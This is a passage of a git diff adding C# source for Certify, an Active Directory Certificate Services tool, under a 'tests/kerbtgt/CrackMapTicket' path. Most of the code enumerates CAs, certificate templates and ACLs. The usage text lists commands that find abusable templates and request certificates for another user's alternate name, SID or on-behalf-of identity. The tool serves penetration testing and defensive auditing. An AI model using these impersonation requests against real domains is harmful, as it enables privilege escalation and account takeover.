https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-csra/509360cf-9797-491e-9dd1-795f63cb1538 + [Flags] + public enum CertificationAuthorityRights : uint + { + ManageCA = 1, // Administrator + ManageCertificates = 2, // Officer + Auditor = 4, + Operator = 8, + Read = 256, + Enroll = 512, + } + + // From certca.h in the Windows SDK + [Flags] + public enum PkiCertificateAuthorityFlags : uint + { + NO_TEMPLATE_SUPPORT = 0x00000001, + SUPPORTS_NT_AUTHENTICATION = 0x00000002, + CA_SUPPORTS_MANUAL_AUTHENTICATION = 0x00000004, + CA_SERVERTYPE_ADVANCED = 0x00000008, + } + + public class CertificateAuthority : ADObject, IDisposable + { + public string? Name { get; } + public string? DomainName { get; } + + public Guid? Guid { get; } + public PkiCertificateAuthorityFlags? Flags { get; } + public List? Certificates { get; private set; } + + + private bool _disposed; + public CertificateAuthority(string distinguishedName, string? name, string? domainName, Guid? guid, PkiCertificateAuthorityFlags? flags, List? certificates, ActiveDirectorySecurity? securityDescriptor) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + Guid = guid; + Flags = flags; + Certificates = certificates; + } + + ~CertificateAuthority() + { + Dispose(false); + } + + public void Dispose() + { + Dispose(true); + // This object will be cleaned up by the Dispose method. + // Therefore, you should call GC.SupressFinalize to + // take this object off the finalization queue + // and prevent finalization code for this object + // from executing a second time. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + // Check to see if Dispose has already been called. + if (_disposed) return; + + if (disposing) + { + // Dispose managed resources. + + // https://snede.net/the-most-dangerous-constructor-in-net/ + if (Certificates != null && Certificates.Any()) + { + Certificates.ForEach(c => c.Reset()); + Certificates = new List(); + } + } + + _disposed = true; + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs b/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs new file mode 100644 index 0000000..908d758 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; + +namespace Certify.Domain +{ + public class CertificateAuthorityWebServices + { + public CertificateAuthorityWebServices() + { + LegacyAspEnrollmentUrls = new List(); + EnrollmentWebServiceUrls = new List(); + EnrollmentPolicyWebServiceUrls = new List(); + NetworkDeviceEnrollmentServiceUrls = new List(); + } + public List LegacyAspEnrollmentUrls { get; set; } + public List EnrollmentWebServiceUrls { get; set; } + public List EnrollmentPolicyWebServiceUrls { get; set; } + public List NetworkDeviceEnrollmentServiceUrls { get; set; } + + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs b/tests/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs new file mode 100644 index 0000000..f18b09b --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/CertificateTemplate.cs @@ -0,0 +1,199 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Principal; + +namespace Certify.Domain +{ + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 + // and from certutil.exe -v -dstemplate + [Flags] + public enum msPKICertificateNameFlag : uint + { + ENROLLEE_SUPPLIES_SUBJECT = 0x00000001, + ADD_EMAIL = 0x00000002, + ADD_OBJ_GUID = 0x00000004, + OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = 0x00000008, + ADD_DIRECTORY_PATH = 0x00000100, + ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = 0x00010000, + SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000, + SUBJECT_ALT_REQUIRE_SPN = 0x00800000, + SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000, + SUBJECT_ALT_REQUIRE_UPN = 0x02000000, + SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000, + SUBJECT_ALT_REQUIRE_DNS = 0x08000000, + SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000, + SUBJECT_REQUIRE_EMAIL = 0x20000000, + SUBJECT_REQUIRE_COMMON_NAME = 0x40000000, + SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000, + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1 + // and from certutil.exe -v -dstemplate + [Flags] + public enum msPKIEnrollmentFlag : uint + { + NONE = 0x00000000, + INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001, + PEND_ALL_REQUESTS = 0x00000002, + PUBLISH_TO_KRA_CONTAINER = 0x00000004, + PUBLISH_TO_DS = 0x00000008, + AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010, + AUTO_ENROLLMENT = 0x00000020, + CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED = 0x80, + PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040, + USER_INTERACTION_REQUIRED = 0x00000100, + ADD_TEMPLATE_NAME = 0x200, + REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400, + ALLOW_ENROLL_ON_BEHALF_OF = 0x00000800, + ADD_OCSP_NOCHECK = 0x00001000, + ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = 0x00002000, + NOREVOCATIONINFOINISSUEDCERTS = 0x00004000, + INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = 0x00008000, + ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000, + ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000, + SKIP_AUTO_RENEWAL = 0x00040000, + NO_SECURITY_EXTENSION = 0x00080000 + } + + class CertificateTemplateACE + { + public string? Type { get; } + public string? Rights { get; } + public Guid? ObjectType { get; } + public string? Principal { get; } + + public CertificateTemplateACE(AccessControlType? type, ActiveDirectoryRights? rights, Guid? objectType, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + ObjectType = objectType; + Principal = principal; + } + } + + class CertificateTemplateACL + { + public string? Owner { get; } + public List? ACEs { get; } + + public CertificateTemplateACL(ActiveDirectorySecurity securityDescriptor) + { + Owner = ((SecurityIdentifier)securityDescriptor.GetOwner(typeof(SecurityIdentifier))).Value.ToString(); + var rules = securityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier)); + ACEs = new List(); + + foreach (ActiveDirectoryAccessRule rule in rules) + { + var ace = new CertificateTemplateACE( + rule.AccessControlType, + (ActiveDirectoryRights)rule.ActiveDirectoryRights, + rule.ObjectType, + ((SecurityIdentifier)rule.IdentityReference).Value.ToString() + ); ; + + ACEs.Add(ace); + } + } + } + + class CertificateTemplateDTO + { + // used for JSON serialization + public string? Name { get; } + public string? DomainName { get; } + public string? DisplayName { get; } + public Guid? Guid { get; } + public int? SchemaVersion { get; } + public string? ValidityPeriod { get; } + public string? RenewalPeriod { get; } + public Oid? Oid { get; } + public msPKICertificateNameFlag? CertificateNameFlag { get; } + public msPKIEnrollmentFlag? EnrollmentFlag { get; } + public IEnumerable? ExtendedKeyUsage { get; } + public int? AuthorizedSignatures { get; } + public IEnumerable? ApplicationPolicies { get; } + public IEnumerable? IssuancePolicies { get; } + public IEnumerable? CertificateApplicationPolicies { get; } + + // vulnerability-related settings + public bool? RequiresManagerApproval { get; } + public bool? EnrolleeSuppliesSubject { get; } + + public CertificateTemplateACL? ACL { get; } + + public CertificateTemplateDTO(CertificateTemplate template) + { + var securityDescriptor = template.SecurityDescriptor; + + Name = template.Name; + DomainName = template.DomainName; + Guid = template.Guid; + DisplayName = template.DisplayName; + ValidityPeriod = template.ValidityPeriod; + RenewalPeriod = template.RenewalPeriod; + Oid = template.Oid; + CertificateNameFlag = template.CertificateNameFlag; + EnrollmentFlag = template.EnrollmentFlag; + ExtendedKeyUsage = template.ExtendedKeyUsage; + AuthorizedSignatures = template.AuthorizedSignatures; + IssuancePolicies = template.IssuancePolicies; + CertificateApplicationPolicies = template.ApplicationPolicies; + + var requiresManagerApproval = template.EnrollmentFlag != null && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.PEND_ALL_REQUESTS); + var enrolleeSuppliesSubject = template.CertificateNameFlag != null && ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT); + + RequiresManagerApproval = requiresManagerApproval; + EnrolleeSuppliesSubject = enrolleeSuppliesSubject; + + if (securityDescriptor == null) + { + ACL = null; + } + else + { + ACL = new CertificateTemplateACL(securityDescriptor); + } + } + } + + class CertificateTemplate : ADObject + { + public CertificateTemplate(string distinguishedName, string? name, string? domainName, Guid? guid, int? schemaVersion, string? displayName, string? validityPeriod, string? renewalPeriod, Oid? oid, msPKICertificateNameFlag? certificateNameFlag, msPKIEnrollmentFlag? enrollmentFlag, IEnumerable? extendedKeyUsage, int? authorizedSignatures, IEnumerable? raApplicationPolicies, IEnumerable? issuancePolicies, ActiveDirectorySecurity? securityDescriptor, IEnumerable? applicationPolicies) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + Guid = guid; + SchemaVersion = schemaVersion; + DisplayName = displayName; + ValidityPeriod = validityPeriod; + RenewalPeriod = renewalPeriod; + Oid = oid; + CertificateNameFlag = certificateNameFlag; + EnrollmentFlag = enrollmentFlag; + ExtendedKeyUsage = extendedKeyUsage; + AuthorizedSignatures = authorizedSignatures; + RaApplicationPolicies = raApplicationPolicies; + IssuancePolicies = issuancePolicies; + ApplicationPolicies = applicationPolicies; + } + public string? Name { get; } + public string? DomainName { get; } + public Guid? Guid { get; } + public int? SchemaVersion { get; } + public string? DisplayName { get; } + public string? ValidityPeriod { get; } + public string? RenewalPeriod { get; } + public Oid? Oid { get; } + public msPKICertificateNameFlag? CertificateNameFlag { get; } + public msPKIEnrollmentFlag? EnrollmentFlag { get; } + public IEnumerable? ExtendedKeyUsage { get; } + public int? AuthorizedSignatures { get; } + public IEnumerable? RaApplicationPolicies { get; } + public IEnumerable? IssuancePolicies { get; } + public IEnumerable? ApplicationPolicies { get; } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/CommonOids.cs b/tests/kerbtgt/CrackMapTicket/Domain/CommonOids.cs new file mode 100644 index 0000000..c37efd9 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/CommonOids.cs @@ -0,0 +1,12 @@ +namespace Certify.Domain +{ + public static class CommonOids + { + public static string AnyPurpose = "2.5.29.37.0"; + public static string ClientAuthentication = "1.3.6.1.5.5.7.3.2"; + public static string PKINITClientAuthentication = "1.3.6.1.5.2.3.4"; + public static string SmartcardLogon = "1.3.6.1.4.1.311.20.2.2"; + public static string CertificateRequestAgent = "1.3.6.1.4.1.311.20.2.1"; + public static string CertificateRequestAgentPolicy = "1.3.6.1.4.1.311.20.2.1"; + }; +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs b/tests/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs new file mode 100644 index 0000000..670c991 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/EnrollmentAgentRestriction.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security; +using System.Security.AccessControl; +using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; +using Certify.Lib; +using Microsoft.Win32; +using System.Text; + +namespace Certify.Domain +{ + class EnrollmentAgentRestriction + { + public string Agent { get; } + + public string Template { get; } + + public List Targets { get; } + + public EnrollmentAgentRestriction(CommonAce ace) + { + Targets = new List(); + var index = 0; + + Agent = ace.SecurityIdentifier.ToString(); + var bytes = ace.GetOpaque(); + + var sidCount = BitConverter.ToUInt32(bytes, index); + index += 4; + + for (var i = 0; i < sidCount; ++i) + { + var sid = new SecurityIdentifier(bytes, index); + Targets.Add(sid.ToString()); + index += sid.BinaryLength; + } + + if (index < bytes.Length) + { + Template = Encoding.Unicode.GetString(bytes, index, (bytes.Length - index - 2)).Replace("\u0000", string.Empty); + } + else + { + Template = ""; + } + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs b/tests/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs new file mode 100644 index 0000000..4811420 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/EnterpriseCertificateAuthority.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security; +using System.Security.AccessControl; +using System.Security.Cryptography.X509Certificates; +using System.Security.Principal; +using Certify.Lib; +using Microsoft.Win32; + +namespace Certify.Domain +{ + class CertificateDTO + { + // used for JSON serialization + public string? SubjectName { get; } + public string? Thumbprint { get; } + public string? Serial { get; } + public string? StartDate { get; } + public string? EndDate { get; } + public List? CertChain { get; } + + public CertificateDTO(X509Certificate2 ca) + { + SubjectName = ca.SubjectName.Name; + Thumbprint = ca.Thumbprint; + Serial = ca.SerialNumber; + StartDate = ca.NotBefore.ToString(); ; + EndDate = ca.NotAfter.ToString(); + + var chain = new X509Chain(); + chain.Build(ca); + var names = new List(); + foreach (var elem in chain.ChainElements) + { + names.Add(elem.Certificate.SubjectName.Name.Replace(" ", "")); + } + //names.Reverse(); + + CertChain = names; + } + } + + class EnterpriseCertificateAuthorityACE + { + // used for JSON serialization + public string? Type { get; } + public string? Rights { get; } + public string? Principal { get; } + + public EnterpriseCertificateAuthorityACE(AccessControlType? type, CertificationAuthorityRights? rights, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + Principal = principal; + } + } + + class EnterpriseCertificateAuthorityACL + { + // used for JSON serialization + public string? Owner { get; } + public List ACEs { get; } + + public EnterpriseCertificateAuthorityACL(ActiveDirectorySecurity securityDescriptor) + { + Owner = ((SecurityIdentifier)securityDescriptor.GetOwner(typeof(SecurityIdentifier))).Value.ToString(); + var rules = securityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier)); + ACEs = new List(); + + foreach (ActiveDirectoryAccessRule rule in rules) + { + var ace = new EnterpriseCertificateAuthorityACE( + rule.AccessControlType, + (CertificationAuthorityRights)rule.ActiveDirectoryRights, + ((SecurityIdentifier)rule.IdentityReference).Value.ToString() + ); ; + + ACEs.Add(ace); + } + } + } + + class EnterpriseCertificateAuthorityDTO + { + // used for JSON serialization, because X509Certificate2s won't serialize out of the box + public string? Name { get; } + public string? DnsHostname { get; } + public string? DomainName { get; } + + public Guid? Guid { get; } + public string? Flags { get; } + public List? Certificates { get; } + + public List? Templates { get; } + + public bool? EDITF_ATTRIBUTESUBJECTALTNAME2 { get; } + + public EnterpriseCertificateAuthorityACL? ACL { get; } + + public List? EnrollmentAgentRestrictions { get; } + + public EnterpriseCertificateAuthorityDTO(EnterpriseCertificateAuthority ca) + { + ActiveDirectorySecurity? securityDescriptor = null; + RawSecurityDescriptor? eaSecurityDescriptor = null; + bool? userSpecifiesSanEnabled = null; + try + { + securityDescriptor = ca.GetServerSecurityFromRegistry(); + } + catch + { + // ignored + } + + try + { + eaSecurityDescriptor = ca.GetEnrollmentAgentSecurity(); + } + catch + { + // ignored + } + + try + { + userSpecifiesSanEnabled = ca.IsUserSpecifiesSanEnabled(); + } + catch + { + // ignored + } + + Name = ca?.Name; + DomainName = ca?.DomainName; + Guid = ca?.Guid; + DnsHostname = ca?.DnsHostname; + Flags = ca?.Flags.ToString(); + Templates = ca?.Templates; + EDITF_ATTRIBUTESUBJECTALTNAME2 = userSpecifiesSanEnabled; + + Certificates = new List(); + if (ca?.Certificates != null) + { + foreach (var cert in ca.Certificates) + { + Certificates.Add(new CertificateDTO(cert)); + } + } + + ACL = securityDescriptor == null ? null : new EnterpriseCertificateAuthorityACL(securityDescriptor); + + if (eaSecurityDescriptor == null) + { + EnrollmentAgentRestrictions = null; + } + else + { + EnrollmentAgentRestrictions = new List(); + + foreach (CommonAce ace in eaSecurityDescriptor.DiscretionaryAcl) + { + EnrollmentAgentRestrictions.Add(new EnrollmentAgentRestriction(ace)); + } + } + } + } + + class EnterpriseCertificateAuthority : CertificateAuthority + { + public List? Templates { get; } + public string? DnsHostname { get; } + public string? FullName => $"{DnsHostname}\\{Name}"; + + public EnterpriseCertificateAuthority(string distinguishedName, string? name, string? domainName, Guid? guid, string? dnsHostname, PkiCertificateAuthorityFlags? flags, List? certificates, ActiveDirectorySecurity? securityDescriptor, List? templates) + : base(distinguishedName, name, domainName, guid, flags, certificates, securityDescriptor) + { + DnsHostname = dnsHostname; + Templates = templates; + } + + public ActiveDirectorySecurity? GetServerSecurityFromRegistry() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + if (Name == null) throw new NullReferenceException("Name is null"); + + // NOTE: this appears to usually work, even if admin rights aren't available on the remote CA server + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + Console.WriteLine($"[X] Could not connect to the HKLM hive - {e.Message}"); + return null; + } + + byte[] security; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}"); + security = (byte[])key.GetValue("Security"); + } + catch (SecurityException e) + { + Console.WriteLine($"[X] Could not access the 'Security' registry value: {e.Message}"); + return null; + } + + var securityDescriptor = new ActiveDirectorySecurity(); + securityDescriptor.SetSecurityDescriptorBinaryForm(security, AccessControlSections.All); + + return securityDescriptor; + } + + public RawSecurityDescriptor? GetEnrollmentAgentSecurity() + { + // NOTE: this appears to work even if admin rights aren't available on the remote CA server... + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + throw new Exception($"Could not connect to the HKLM hive - {e.Message}"); + } + + byte[] security; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}"); + security = (byte[])key.GetValue("EnrollmentAgentRights"); + } + catch (SecurityException e) + { + throw new Exception($"Could not access the 'EnrollmentAgentRights' registry value: {e.Message}"); + } + + return security == null ? null : new RawSecurityDescriptor(security, 0); + } + + + public bool IsUserSpecifiesSanEnabled() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + if (Name == null) throw new NullReferenceException("Name is null"); + + // ref- https://blog.keyfactor.com/hidden-dangers-certificate-subject-alternative-names-sans + // NOTE: this appears to usually work, even if admin rights aren't available on the remote CA server + RegistryKey baseKey; + try + { + baseKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, DnsHostname); + } + catch (Exception e) + { + throw new Exception($"Could not connect to the HKLM hive - {e.Message}"); + } + + int editFlags; + try + { + var key = baseKey.OpenSubKey($"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{Name}\\PolicyModules\\CertificateAuthority_MicrosoftDefault.Policy"); + editFlags = (int)key.GetValue("EditFlags"); + } + catch (SecurityException e) + { + throw new Exception($"Could not access the EditFlags registry value: {e.Message}"); + } + + // 0x00040000 -> EDITF_ATTRIBUTESUBJECTALTNAME2 + return (editFlags & 0x00040000) == 0x00040000; + } + + public CertificateAuthorityWebServices GetWebServices() + { + if (DnsHostname == null) throw new NullReferenceException("DnsHostname is null"); + + var webservices = new CertificateAuthorityWebServices(); + + var protocols = new List() { "http://", "https://" }; + + protocols.ForEach(p => + { + var LegacyAspEnrollmentUrl = $"{p}{DnsHostname}/certsrv/"; + var enrollmentWebServiceUrl = $"{p}{DnsHostname}/{Name}_CES_Kerberos/service.svc"; + var enrollmentPolicyWebServiceUrl = $"{p}{DnsHostname}/ADPolicyProvider_CEP_Kerberos/service.svc"; + var ndesEnrollmentUrl = $"{p}{DnsHostname}/certsrv/mscep/"; + + if (HttpUtil.UrlExists(LegacyAspEnrollmentUrl, "NTLM")) + webservices.LegacyAspEnrollmentUrls.Add(LegacyAspEnrollmentUrl); + + if (HttpUtil.UrlExists(enrollmentWebServiceUrl)) + webservices.EnrollmentWebServiceUrls.Add(enrollmentWebServiceUrl); + + if (HttpUtil.UrlExists(enrollmentPolicyWebServiceUrl)) + webservices.EnrollmentPolicyWebServiceUrls.Add(enrollmentPolicyWebServiceUrl); + + if (HttpUtil.UrlExists(ndesEnrollmentUrl)) + webservices.NetworkDeviceEnrollmentServiceUrls.Add(ndesEnrollmentUrl); + }); + + return webservices; + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Domain/PKIObject.cs b/tests/kerbtgt/CrackMapTicket/Domain/PKIObject.cs new file mode 100644 index 0000000..4094fff --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Domain/PKIObject.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Principal; + +namespace Certify.Domain +{ + class PKIObjectACE + { + public string? Type { get; } + public string? Rights { get; } + public Guid? ObjectType { get; } + public string? Principal { get; } + + public PKIObjectACE(AccessControlType? type, ActiveDirectoryRights? rights, Guid? objectType, string? principal) + { + Type = type.ToString(); + Rights = rights.ToString(); + ObjectType = objectType; + Principal = principal; + } + } + + class PKIObject : ADObject + { + public PKIObject(string? name, string? domainName, string distinguishedName, ActiveDirectorySecurity? securityDescriptor) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + DistinguishedName = distinguishedName; + } + public string? Name { get; } + public string? DomainName { get; } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/ILMerge.props b/tests/kerbtgt/CrackMapTicket/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tests/kerbtgt/CrackMapTicket/Info.cs b/tests/kerbtgt/CrackMapTicket/Info.cs new file mode 100644 index 0000000..1704224 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Info.cs @@ -0,0 +1,94 @@ +using System; + +namespace Certify +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n _____ _ _ __ "); + Console.WriteLine(" / ____| | | (_)/ _| "); + Console.WriteLine(" | | ___ _ __| |_ _| |_ _ _ "); + Console.WriteLine(" | | / _ \\ '__| __| | _| | | | "); + Console.WriteLine(" | |___| __/ | | |_| | | | |_| | "); + Console.WriteLine(" \\_____\\___|_| \\__|_|_| \\__, | "); + Console.WriteLine(" __/ | "); + Console.WriteLine(" |___./ "); + Console.WriteLine(" v{0} \r\n", Certify.Version.version); + } + + public static void ShowUsage() + { + var usage = @" + Find information about all registered CAs: + + Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet] + + + Find all enabled certificate templates: + + Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find vulnerable/abusable certificate templates using default low-privileged groups: + + Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find vulnerable/abusable certificate templates using all groups the current user context is a part of: + + Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled: + + Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find enabled certificate templates capable of client authentication: + + Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet] + + Find all enabled certificate templates, display all of their permissions, and don't display the banner message: + + Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] + + Find all enabled certificate templates and output to a json file: + + Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] + + + Enumerate access control information for PKI objects: + + Certify.exe pkiobjects [/domain:domain.local | /ldapserver:server.domain.local] [/showAdmins] [/quiet] + + + Request a new certificate using the current user context: + + Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install] + + Request a new certificate using the current machine context: + + Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install] + + Request a new certificate using the current user context but for an alternate name (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER + + Request a new certificate using the current user context but for an alternate name and SID (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /sid:S-1-5-21-2697957641-2271029196-387917394-2136 + + Request a new certificate using the current user context but for an alternate name and URL (if supported): + + Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-2697957641-2271029196-387917394-2136 + + Request a new certificate on behalf of another user, using an enrollment agent certificate: + + Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD] + + + Download an already requested certificate: + + Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machine] +"; + Console.WriteLine(usage); + } + } +} diff --git a/tests/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll b/tests/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll new file mode 100644 index 0000000..d365041 Binary files /dev/null and b/tests/kerbtgt/CrackMapTicket/Interop.CERTCLILib.dll differ diff --git a/tests/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll b/tests/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll new file mode 100644 index 0000000..a7a28c1 Binary files /dev/null and b/tests/kerbtgt/CrackMapTicket/Interop.CERTENROLLLib.dll differ diff --git a/tests/kerbtgt/CrackMapTicket/Program.cs b/tests/kerbtgt/CrackMapTicket/Program.cs new file mode 100644 index 0000000..e471132 --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Program.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; + +namespace Certify +{ + public class Program + { + public static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + var file = parsedArgs["/outfile"]; + + var realStdOut = Console.Out; + var realStdErr = Console.Error; + + using (var writer = new StreamWriter(file, false)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + public static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + var sw = new Stopwatch(); + sw.Start(); + + if(!(parsedArgs.ContainsKey("/quiet") || parsedArgs.ContainsKey("/q") || parsedArgs.ContainsKey("/json"))) + Info.ShowLogo(); + + parsedArgs.Remove("/q"); + parsedArgs.Remove("/quiet"); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Certify exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + if(!parsedArgs.ContainsKey("/json")) + Console.WriteLine("\r\n\r\nCertify completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + var args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + var realStdOut = Console.Out; + var realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + var output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + public static void Main(string[] args) + { + try + { + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/outfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); + } + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled Certify exception:\r\n"); + Console.WriteLine(e); + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs b/tests/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..318337c --- /dev/null +++ b/tests/kerbtgt/CrackMapTicket/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an 